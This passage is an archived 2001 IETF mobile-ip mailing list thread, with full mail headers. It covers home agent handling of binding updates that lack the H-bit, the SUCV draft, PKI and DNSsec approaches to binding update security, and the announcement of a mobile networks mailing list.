>   >    The issue here is how to avoid the tunnel interface.
>   >
>   > => it seems the MN has to cleanly delete its home registration first
>   > (i.e. 1) is hard to implement (according to HA implementers here)
>   > and this MN behavior is not natural: something is wrong and this
>   > has to be signaled back to the MN).
> 
> => I thought the assumption was that the MN has
> a TCP connection ...etc with the HA.

Maybe you're right, but as a side remark, when we consider how much
used ping is as the first testing/probing tool, I could imagine ping's
with or without BU's to be used also in the mobile world. In this case
an understandable reaction from the HA is the best.
... I know, this is not real traffic...

> The MN will either need to remember that the CN
> is also the HA and not send a BU (and accept
> the tunnelled packets). Or somehow the HA
> would figure out a way of sending packets
> with a routing header (if that still exists
> after SLC !) for traffic that was initiated at
> the HA.
> 
> Have I missed your point ?
> 
> Hesham


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 02:54:30 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA14941
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 02:54:30 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id XAA28455;
	Thu, 22 Nov 2001 23:53:36 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA14232;
	Thu, 22 Nov 2001 23:53:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7qVLS001400
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:31 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN7qUQn001399
	for mobile-ip-dist; Thu, 22 Nov 2001 23:52:30 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN7qQLS001392
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:26 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA10299
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 22 Nov 2001 23:52:26 -0800 (PST)
Received: from iproxy1.ericsson.dk (iproxy1.ericsson.dk [213.159.160.68])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA00310
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:52:08 -0700 (MST)
Received: from unixmail.ted.dk.eu.ericsson.se (knud.ted.dk.eu.ericsson.se [192.66.4.246])
	by iproxy1.ericsson.dk (8.10.1/8.10.1) with ESMTP id fAN7qOk01438
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 08:52:24 +0100 (MET)
Received: from ted.ericsson.dk (petg.ted.dk.eu.ericsson.se [192.66.4.85])
	by unixmail.ted.dk.eu.ericsson.se (8.10.1/8.10.1/TEDmain-1.0) with ESMTP id fAN7qOL01233;
	Fri, 23 Nov 2001 08:52:24 +0100 (MET)
Message-ID: <3BFE0037.A82F5F9B@ted.ericsson.dk>
Date: Fri, 23 Nov 2001 08:52:23 +0100
From: "Peter Grimstrup (TED)" <peter.grimstrup@ted.ericsson.dk>
Organization: Ericsson Telebit A/S
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15
References: <200111221715.fAMHF6D22962@givry.rennes.enst-bretagne.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Francis Dupont wrote:
> 
>    A couple more points to add:
> 
>    - A BU replaces the existing one. So if the MN
>      sends a BU without the H flag it should really
>      replace the existing BU.
> 
> => this the option 1) but here HA implementors said this is hard to
> implement and this should never happen.
> 

A second opinion from a HA-implementor: Actually, we have without much
trouble implemented option 1) - before thinking about the problem,
I raised in my mail. Generally, I favour explicit actions/protocols,
thus I tend to favour (a little) the proposed option 3), i.e. return
an error condition, keeping the old BC-entry with the h-bit.

/Peter


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 03:44:38 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA15501
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 03:44:37 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id BAA24986;
	Fri, 23 Nov 2001 01:43:08 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA18340;
	Fri, 23 Nov 2001 00:41:31 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN8erLS001702
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:40:53 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN8erPs001701
	for mobile-ip-dist; Fri, 23 Nov 2001 00:40:53 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN8enLS001694
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:40:49 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA29049
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:40:50 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id AAA21977
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 00:40:49 -0800 (PST)
Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAN8emC21705
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 09:40:48 +0100 (MET)
Received: from era.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T))
	id JAA06461; Fri, 23 Nov 2001 09:40:48 +0100
Message-ID: <3BFE0AE0.AED7E549@era.ericsson.se>
Date: Fri, 23 Nov 2001 09:37:52 +0100
From: Mattias Pettersson <mattias.pettersson@era.ericsson.se>
Organization: Ericsson Research
X-Mailer: Mozilla 4.77 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] draft 15
References: <200111221538.fAMFcRD22710@givry.rennes.enst-bretagne.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi,

Francis Dupont wrote:
> 
>    Section 8.3:
>    Some HA (also being a CN) receives a BU without H-bit from a node already
>    registered _with_ the H-bit set.
>    What would be a sensible reaction?
>    1) Stop intercepting packets and just work as a usual CN
>    2) Ignore the missing H-bit in the BU
>    3) ?
> 
> => after a short discussion, the consensus is to raise an error
> (with a new code). Of course if acknowlegments are not requested
> an easy solution is to drop the BU (:-).
> 

I agree that an error is the only solution. A well-functioning MN would
not send a BU to HA without H-bit, simply because the MN must consult
its BUL before sending it and would get a hit on destination address =
HA and know that H must be set. If MN has no BUL (due to crash) it will
have to get in sync with the HA, thus both DAD issues and sequence
numbers could stop this before it becomes an issue at all as already
mentioned.

From the HA's point of view, receiving a BU with H = 0 is not a proper
way of telling it to remove a home registration. Home registrations must
not be removed unless explicitly stated by the MN. So, since the MN
behaves badly, it should be informed about this (by error code) and the
HA should keep its state.

/Mattias


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 04:06:19 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA15759
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 04:06:19 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA06547;
	Fri, 23 Nov 2001 02:04:53 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA20127;
	Fri, 23 Nov 2001 01:03:12 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN91xLS001890
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 23 Nov 2001 01:01:59 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN91xL0001889
	for mobile-ip-dist; Fri, 23 Nov 2001 01:01:59 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN91oLS001882
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 01:01:50 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00525
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 01:01:50 -0800 (PST)
Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id CAA26183;
	Fri, 23 Nov 2001 02:02:06 -0700 (MST)
Received: from inrialpes.fr (glandon.inrialpes.fr [194.199.24.105])
	by ebene.inrialpes.fr (8.11.6/8.11.6) with ESMTP id fAN8vnm08485;
	Fri, 23 Nov 2001 09:57:50 +0100 (MET)
Message-ID: <3BFE0F8E.DE8E0EF6@inrialpes.fr>
Date: Fri, 23 Nov 2001 09:57:50 +0100
From: Claude Castelluccia <claude.castelluccia@inrialpes.fr>
X-Mailer: Mozilla 4.7 [en] (X11; I; SunOS 5.8 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com, gab@sun.com
Subject: [mobile-ip] -SUCV v2-
Content-Type: multipart/alternative;
 boundary="------------03D539EC4859B730B5E3B982"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--------------03D539EC4859B730B5E3B982
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hello,

Please note that new version of the SUCV draft (version 2) is now
available at:
http://www.inrialpes.fr/planete/people/ccastel/draft-montenegro-sucv-02.txt

We missed the Nov. 21st deadline....but still hope that this draft will
be considered by the
WG..

The  Changes between version 01 and 02 are:
   o Cosmetic editorial changes, reorganization, etc.
   o Added more details on SKey derivation to the protocol overview
     section.
   o Added a terminology section.
   o Specified more fully the sucvP protocol, which means SUCV is
     now independent of HIP.
   o Added a section on extensions for constrained devices.
   o Added a section on Privacy considerations.

regards,

Claude.


--

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes
ph:  +33 4.76.61.52.15 (fax: 52.52)
http://www.inrialpes.fr/planete/



--------------03D539EC4859B730B5E3B982
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Hello,
<p>Please note that new version of the SUCV draft (version 2)&nbsp;is now
available at:
<br><A HREF="http://www.inrialpes.fr/planete/people/ccastel/draft-montenegro-sucv-02.txt">http://www.inrialpes.fr/planete/people/ccastel/draft-montenegro-sucv-02.txt</A>
<p>We missed the Nov. 21st deadline....but still hope that this draft will
be considered by the
<br>WG..
<p>The&nbsp; Changes between version 01 and 02 are:
<br>&nbsp;&nbsp; o Cosmetic editorial changes, reorganization, etc.
<br>&nbsp;&nbsp; o Added more details on SKey derivation to the protocol
overview
<br>&nbsp;&nbsp;&nbsp;&nbsp; section.
<br>&nbsp;&nbsp; o Added a terminology section.
<br>&nbsp;&nbsp; o Specified more fully the sucvP protocol, which means
SUCV is
<br>&nbsp;&nbsp;&nbsp;&nbsp; now independent of HIP.
<br>&nbsp;&nbsp; o Added a section on extensions for constrained devices.
<br>&nbsp;&nbsp; o Added a section on Privacy considerations.
<p>regards,
<p>Claude.
<br>&nbsp;
<pre>--&nbsp;

----------------------------------------
Claude CASTELLUCCIA, INRIA Rhone-Alpes&nbsp;&nbsp;
ph:&nbsp; +33 4.76.61.52.15 (fax: 52.52)
<A HREF="http://www.inrialpes.fr/planete/">http://www.inrialpes.fr/planete/</A></pre>
&nbsp;</html>

--------------03D539EC4859B730B5E3B982--



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 04:26:00 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA15890
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 04:26:00 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA17432;
	Fri, 23 Nov 2001 02:23:57 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA16603;
	Fri, 23 Nov 2001 01:22:49 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN9LiLS002039
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 23 Nov 2001 01:21:44 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAN9Liok002038
	for mobile-ip-dist; Fri, 23 Nov 2001 01:21:44 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAN9LdLS002031
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 01:21:39 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAN9LZq00776;
	Fri, 23 Nov 2001 10:21:35 +0100 (MET)
Date: Fri, 23 Nov 2001 10:20:35 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
To: Michael Thomas <mat@cisco.com>
Cc: mobile-ip@sunroof.eng.sun.com, Jari Arkko <Jari.Arkko@lmf.ericsson.se>,
        Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <15357.24539.922025.192589@thomasm-u1.cisco.com>
Message-ID: <Roam.SIMC.2.0.6.1006507235.11233.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

>    I know this is pretty far afield, but I have a hard time
>    reconciling how you could scale a PKI based authentication/ 
>    authorization scheme with longish lived certificates, with
>    the ever increasing realization that IP addresses (or at least
>    their prefixes) should be viewed as transient. To work properly,
>    you'd want certs with lifetimes roughly equivalent to the
>    lifetime of addresses, which I would think shouldn't be more
>    than a day or two maximum. Issuing signed certificates that
>    often makes me shudder at what CA could keep up with a large scale
>    deployment...

Agreed.

Continuing further afield ...

I'm getting more and more convinced that if we want a solution which
 - depends on a global infrastructure like a PKI, 
 - provides fine grained control (i.e. not just allow everybody with a 
   *.example.com ceriticate names to perform a BU for anybody), 
 - which can tell us that the MN in fact owns the home address,
then current CA/PKI doesn't cut it - some other type of
infrastructure would be needed.
(Note, I'm not arguing MIPv6 should depend on such an infrastructure
or that such an infratstructure should be built. I'm just trying to
understand the security properties in the whole design space ...)

A possible such infrastructure (not arguing that it should be built) would
be to 
 - DNSsec secure all of the ip6.arpa tree
 - store certificates or public keys in the ip6.arpa tree for each IPv6
   address (e.g. using CERT or KEY or APPKEY??? records)

The properties of such an approach would be that a node receiving a BU could
do a reverse lookup of the home address, find the public key in the DNS
(and verify that the DNSsec signatures for the delegations in the ip6.arpa
tree are ok), and verify the public-key signature on the BU.

Such an approach would strictly be more secure than CAM/SUCV, because it
prevents somebody from creating bogus home addresses on the fly.
The creator of a home address must convince their DNS to install their
public key in their part of the ip6.arpa tree. (Of course, this might be 
at odds with the ability to create RFC 3041 temporary addresses...)

Given that we are *not* going to build the above,
it seems like we only have two fundamental security corner stones that we can
build on that provide per-home-address control:
 - return routability
 - the interface ID of the address being a (truncated) hash of a public key
   (as in CAM and SUCV)

Throwing a PKI on top of this adds an *orthogonal* ability to be able to
reject or accept route optimization attempts based on which CA signed the cert
and/or the certificate name, but doesn't provide the per-home-address 
verification.

Does this make sense?

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 06:34:18 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA16825
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 06:34:18 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA24214;
	Fri, 23 Nov 2001 03:33:10 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA00781;
	Fri, 23 Nov 2001 03:32:26 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fANBVtLS002302
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 23 Nov 2001 03:31:55 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fANBVteE002301
	for mobile-ip-dist; Fri, 23 Nov 2001 03:31:55 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fANBVpLS002294
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 03:31:51 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA11442;
	Fri, 23 Nov 2001 03:31:50 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA02516;
	Fri, 23 Nov 2001 04:31:32 -0700 (MST)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id fANBVmC23623;
	Fri, 23 Nov 2001 12:31:48 +0100 (MET)
Received: from lmf.ericsson.se (lmf4ws450.lmf.ericsson.se [131.160.38.50])
	by fogerty.lmf.ericsson.se (8.11.3/8.11.3) with ESMTP id fANBVlh27137;
	Fri, 23 Nov 2001 13:31:47 +0200 (EET)
Message-ID: <3BFE33A2.C74C4838@lmf.ericsson.se>
Date: Fri, 23 Nov 2001 13:31:46 +0200
From: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.77 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Erik Nordmark <Erik.Nordmark@eng.sun.com>
CC: Michael Thomas <mat@cisco.com>, mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] Additional comments on   
 draft-arkko-mipv6-bu-security-00.txt
References: <Roam.SIMC.2.0.6.1006507235.11233.nordmark@bebop.france>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Erik Nordmark wrote:

> it seems like we only have two fundamental security corner stones that we can
> build on that provide per-home-address control:
>  - return routability
>  - the interface ID of the address being a (truncated) hash of a public key
>    (as in CAM and SUCV)
> 
> Throwing a PKI on top of this adds an *orthogonal* ability to be able to
> reject or accept route optimization attempts based on which CA signed the cert
> and/or the certificate name, but doesn't provide the per-home-address
> verification.
> 
> Does this make sense?

Yes.

> ... DNSsec ...

I'm not very convinced that calling the PKI 'DNSsec' will solve
the problem. As you mention about the RFC 3041 problems
for instance, and bringing in secure dynamic DNS on top of
everything else...

Jari


From owner-mobile-ip@sunroof.eng.sun.com  Fri Nov 23 07:34:26 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA17241
	for <mobileip-archive@odin.ietf.org>; Fri, 23 Nov 2001 07:34:25 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA05467;
	Fri, 23 Nov 2001 05:32:57 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA05119;
	Fri, 23 Nov 2001 04:31:08 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fANCUJLS002528
	for <mobile-ip-dist@sunroof.eng.sun.com>; Fri, 23 Nov 2001 04:30:19 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fANCUJqk002527
	for mobile-ip-dist; Fri, 23 Nov 2001 04:30:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fANCUFLS002520
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 04:30:15 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA01626
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 04:30:15 -0800 (PST)
Received: from motgate4.mot.com (motgate4.mot.com [144.189.100.102])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA08834
	for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 04:30:14 -0800 (PST)
Received: [from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate4.mot.com (motgate4 2.1) with ESMTP id FAA05796 for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 05:30:14 -0700 (MST)]
Received: [from m-il06-r1.mot.com (m-il06-r1.mot.com [129.188.137.193]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id FAA06568 for <mobile-ip@sunroof.eng.sun.com>; Fri, 23 Nov 2001 05:30:14 -0700 (MST)]
Received: from thorgal.crm.mot.com by m-il06-r1.mot.com with ESMTP for mobile-ip@sunroof.eng.sun.com; Fri, 23 Nov 2001 06:30:13 -0600
Received: from crm.mot.com (mac-lach.crm.mot.com [140.101.173.178])
	by thorgal.crm.mot.com (Postfix) with ESMTP
	id E53832EC83; Fri, 23 Nov 2001 13:23:15 +0100 (CET)
Message-Id: <3BFE4180.D7BB3A5C@crm.mot.com>
Date: Fri, 23 Nov 2001 13:30:55 +0100
From: Hong-Yon Lach <Hong-Yon_Lach-AHL005@email.mot.com>
Organization: Centre de Recherche de Motorola - Paris
X-Mailer: Mozilla 4.78 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com, monet@crm.mot.com
Subject: [mobile-ip] Mobile Network (monet): announcement of mailing list
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Dear colleagues,

I would like to announce the monet (mobile network) mailing list for
future discussion of the mobile networks subject.

Until the last IETF meeting, Thierry Ernst has submitted several times
I-Ds and made presentations on the subject.  At IETF-51, I was
encouraged by the mobileip WG co-chair Phil Roberts to set up a
separate mailing list to further discuss the subject.  Since then,
there has been some discussions online and offline, to the extent that
a BOF may be on its way to address the subject.

Having sensed the need to have a proper forum of discussion on mobile
network, the Monet mailing list is created, so that we could discuss
and share:

- work out the problem scope/statement
- define terminology
- technical discussions
- define the solution requirements
- plan the necessary activities
- how to address the subject in IETF (creation of a BOF?)
- etc

To start with, I would like to put forward the following 2 I-Ds:
- draft-ernst-mobileip-v6-network-02.txt
- draft-ernst-mobileip-monetv6-00.txt

In particular I would like to solicit comments on
draft-ernst-mobileip-monetv6-00.txt about the problem scope and
solution requirements.

After London IETF a long discussion took place on the mobileip list
with respect to mobile networks and routers: terminology for "router"
and "mobile router", MR and router adjacency, interactions of mobile
